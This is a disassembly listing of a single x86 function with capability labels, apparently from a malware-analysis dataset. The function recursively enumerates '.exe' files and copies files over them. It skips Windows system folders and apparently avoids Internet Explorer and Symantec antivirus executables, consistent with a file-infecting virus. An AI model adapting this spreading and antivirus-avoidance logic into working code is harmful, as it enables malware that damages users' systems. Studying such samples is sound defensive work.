Function at 0x40123c
Capabilities:
Copy file
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
mov esi, 0x1f4
push edi
push esi
call fcn.0040394b
mov ebx, eax
push esi
mov dword [esp + 0x20], ebx
call fcn.0040394b
push esi
mov dword [esp + 0x1c], eax
call fcn.0040394b
push esi
mov edi, eax
call fcn.0040394b
push dword [esp + 0x34]
mov esi, eax
mov dword [esp + 0x30], esi
push ebx
call fcn.004037e0
push str..exe
push ebx
call fcn.004037f0
push 0x140
call fcn.0040394b
push dword [0x40bfbc]
mov ebp, eax
push dword [esp + 0x4c]
call fcn.00407f10
add esp, 0x2c
test eax, eax
je 0x401577
push dword [0x40bfc4]
push dword [esp + 0x28]
call fcn.00407f10
pop ecx
test eax, eax
pop ecx
je 0x401577
lea eax, [esp + 0x14]
push str.windows
push eax
mov dword [esp + 0x1c], 7
push dword [esp + 0x2c]
call fcn.00401d73
pop ecx
pop ecx
push eax
call fcn.00407f10
pop ecx
test eax, eax
pop ecx
je 0x401577
lea eax, [esp + 0x14]
push str.system32
push eax
mov dword [esp + 0x1c], 8
push dword [esp + 0x2c]
call fcn.00401d73
pop ecx
pop ecx
push eax
call fcn.00407f10
pop ecx
test eax, eax
pop ecx
je 0x401577
lea eax, [esp + 0x14]
push str.system
push eax
mov dword [esp + 0x1c], 6
push dword [esp + 0x2c]
call fcn.00401d73
pop ecx
pop ecx
push eax
call fcn.00407f10
pop ecx
test eax, eax
pop ecx
je 0x401577
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
mov ebx, 0x40b090
je 0x4014c6
lea eax, [ebp + 0x2c]
push str.IEXPLORE.EXE
push eax
call fcn.00407f10
pop ecx
test eax, eax
pop ecx
je 0x4014aa
lea eax, [ebp + 0x2c]
push str.ccApp.exe
push eax
call fcn.00407f10
pop ecx
test eax, eax
pop ecx
je 0x4014aa
lea eax, [ebp + 0x2c]
push str.ccRegVfy.exe
push eax
call fcn.00407f10
pop ecx
test eax, eax
pop ecx
je 0x4014aa
push dword [esp + 0x24]
push edi
call fcn.004037e0
push ebx
push edi
call fcn.004037f0
lea eax, [ebp + 0x2c]
push eax
push edi
call fcn.004037f0
push edi
push esi
call fcn.004037e0
add esp, 0x20
push 0x40bfa8
push esi
call fcn.004038d0
pop ecx
lea eax, [eax + esi - 3]
push eax
call fcn.004037e0
push esi
call fcn.004011f6
add esp, 0xc
test al, al
je 0x4013fe
push esi
call fcn.00401c2d
pop ecx
push edi
call fcn.004018ad
test al, al
pop ecx
jne 0x4014aa
push edi
mov ecx, 0x40bfb4
call fcn.00401e27
test al, al
je 0x4014aa
push dword [0x40bfc4]
call fcn.004038d0
mov ecx, dword [0x40bfb0]
lea eax, [eax + ecx + 0xa]
push eax
call fcn.0040394b
push dword [0x40bfc4]
mov esi, eax
push esi
call fcn.004037e0
push ebx
push esi
call fcn.004037f0
push dword [0x40bfa0]
push esi
call fcn.004037f0
push 0x40b060
push esi
call fcn.004037f0
push 0x40bfac
push esi
call fcn.004037f0
add esp, 0x30
push 0
push esi
push dword [0x40bfc0]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push esi
push edi
mov ecx, 0x40bfb4
call fcn.00402315
push edi
push esi
call fcn.00401a1d
push esi
call fcn.00401c2d
push esi
call fcn.00403959
mov esi, dword [esp + 0x2c]
add esp, 0x10
push ebp
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x4014c6
push str.IEXPLORE.EXE
lea eax, [ebp + 0x2c]
jmp 0x40136f
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [esp + 0x24]
push dword [esp + 0x1c]
call fcn.004037e0
push str..
push dword [esp + 0x24]
call fcn.004037f0
add esp, 0x10
push ebp
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [esp + 0x14], eax
cmp eax, 0xffffffff
je 0x401573
mov eax, dword [ebp]
and eax, 0x10
cmp al, 0x10
jne 0x401564
lea eax, [ebp + 0x2c]
push 0x40b060
push eax
call fcn.00407f10
pop ecx
test eax, eax
pop ecx
je 0x401564
lea eax, [ebp + 0x2c]
push 0x40b054
push eax
call fcn.00407f10
pop ecx
test eax, eax
pop ecx
je 0x401564
push dword [esp + 0x24]
push dword [esp + 0x14]
call fcn.004037e0
push ebx
push dword [esp + 0x1c]
call fcn.004037f0
lea eax, [ebp + 0x2c]
push eax
push dword [esp + 0x24]
call fcn.004037f0
push dword [esp + 0x28]
call fcn.0040123c
add esp, 0x1c
push ebp
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jmp 0x401500
mov ebx, dword [esp + 0x18]
push ebx
call fcn.00403959
push dword [esp + 0x14]
call fcn.00403959
push edi
call fcn.00403959
push esi
call fcn.00403959
push ebp
call fcn.00403959
add esp, 0x14
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret